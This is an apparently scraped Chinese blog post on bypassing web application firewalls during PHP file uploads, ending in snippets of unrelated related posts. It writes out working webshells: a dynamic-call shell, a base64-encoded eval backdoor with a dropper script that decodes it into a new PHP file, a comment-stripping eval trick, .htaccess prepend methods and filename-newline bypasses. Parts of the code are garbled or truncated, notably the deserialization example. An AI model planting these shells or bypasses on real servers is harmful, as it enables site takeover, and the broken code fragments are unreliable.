waf繞過方法閒人

2021-10-24 20:34:20 字數 2896 閱讀 8444

一:動態呼叫

waf會對檔案內容進行檢索,如果發現有什麼危險的函式,或者有什麼危害的邏輯,都會進行攔擊,所以我們不能寫入一些危險的函式,否則就會被ban掉。在我們真正惡意**前加入大量雜糅字元進行繞過;然後對字尾進行換行繞過;

��

[.shellclassinfo]

localizedresourcename=@%systemroot%\system32\shell32

.dll,

-21770

iconresource=

%systemroot%\system32\imageres

.dll,

-112

iconfile=

%systemroot%\system32\shell32

.dll

iconindex=

-235

寫入<?php $_get['0']($_get['1']);?>我們在上傳的檔案中並沒有出現什麼危險的函式,而是通過後期的get傳入進行動態呼叫從而執行命令;這樣就會繞過上傳時waf的檢測;但是繞不過disable_function;

二:利用.htaccess檔案

對於利用.htaccess檔案的攻擊方法,其實有很多方法;包括自我包含造成後門,或者auto_prepend_file檔案,或者自定義報錯目錄然後利用包含報錯寫入木馬最後自定義包含,addtype等等。我們只需要將木馬檔案進行相應的編碼即可;這種方法可以繞過waf的檢測,但是也是繞不過 disable_function;

三:利用檔案修改檔案造成木馬

當我們無法上傳帶有危險函式的木馬時;可以使用檔案篡改檔案的方法;

先傳入pd9wahagzxzhbcgkx1bpu1rbj2enxsk7pz4=(<?php eval($_post['a']);?>的base64)命名為1.php;這裡我們上傳時waf自然不會檢測到,因為我們確實沒有危險函式;然後再次傳入第二個沒有高度危險函式的2.php**:

<?php

$path

="/xx/***/xx/1.php"

;//讀取檔案1.php

$str

=file_get_contents

($path);

$strs

=base64_decode

($str);

//進行base64解碼

$s1mple

=fopen

("./s1mple.php"

,"w");

fwrite

($s1mple

,$strs);

fclose

($s1mple);

?>

將我們的檔案,進行了base64解密,然後寫入的乙個新的php檔案中。先訪問2.php,然後再訪問s1mple.php就可以拿到shell。

fopen() 函式:開啟檔案或者 url,如果開啟失敗,本函式返回 false。

fopen

(filename,mode,include_path,context)

filename:必需。規定要開啟的檔案或 url。

mode:必需。規定要求到該檔案/流的訪問型別。可能的值見下表。

include_path:可選。如果也需要在 include_path 中檢索檔案的話,可以將該引數設為 1 或 true。

context:可選。規定檔案控制代碼的環境。context 是可以修改流的行為的一套選項。

「r」 :唯讀方式開啟,將檔案指標指向檔案頭。

「r+」 :讀寫方式開啟,將檔案指標指向檔案頭。

「w」 :寫入方式開啟,將檔案指標指向檔案頭並將檔案大小截為零。如果檔案不存在則嘗試建立之。

「w+」 :讀寫方式開啟,將檔案指標指向檔案頭並將檔案大小截為零。如果檔案不存在則嘗試建立之。

「a」 :寫入方式開啟,將檔案指標指向檔案末尾。如果檔案不存在則嘗試建立之。

「a+」 :讀寫方式開啟,將檔案指標指向檔案末尾。如果檔案不存在則嘗試建立之。

四:利用低危木馬;

如果不是拿許可權的話,也是可以利用一些低危的操作,比如任意檔案讀取等等;

<?php

$s1mple

=file_get_contents

(__file__);

//獲取**的所有內容;

eval

(str_replace

("<?php",""

,str_replace

("//",""

,$s1mple))

);//釋放出木馬

//eval($_get['a']);

?>

基於注釋的繞過。得到eval($_get[『a』]);可以達到任意檔案讀取。

五:利用邏輯問題

這個看不懂:

<?php

error_reporting(0

);class

s1mple

function

__destruct()

}class

hacker

}class

evil

}unserialize

($_get

['a'])

;

解析完這樣:

o:6:

"s1mple":1

:}

六:利用過寶塔waf思路另闢蹊徑繞過waf

寶塔的waf對於檔案明字尾的檢測,是可以通過換行進行繞過的;對我們的filename做手腳;對filename做換行,也可以繞過;

WAF 繞過方法

通常,即使繞過了waf的防護,前提條件是後端伺服器是否存在對應的漏洞,後端在開發時一定要在 中加入引數的過濾與校驗,不能只指望waf在中間進行防護,減少威脅面,編寫安全的 才是正確的做法。在bash shell中,問號?表示萬用字元,可以替換任意的單個字元 非空 表示萬用字元,可以匹配任意長度 包括...

waf繞過注入

waf 是什麼?安全是乙個不斷對抗的過程,有防護手段,就有相應的繞過手段。滲透測試過程中,waf 是必定會遇到的,如何繞過 waf 就是乙個問題。waf繞過的手段千變萬化,分為3類 白盒繞過 黑盒繞過 fuzz繞過 白盒繞過 如果繞過 白盒下的繞過主要針對原始碼進行審計,分析函式功能,構造特定的包進...

WAF繞過小結

瀏覽器向伺服器傳送請求的時候必須指明請求型別 一般是get或者post 如有必要,瀏覽器還可以選擇傳送其他的請求頭。大多數請求頭並不是必需的,但content length除外。對於post請求來說content length必須出現。大多數waf都會較全面地檢測來自get請求的攻擊,有選擇地檢測來...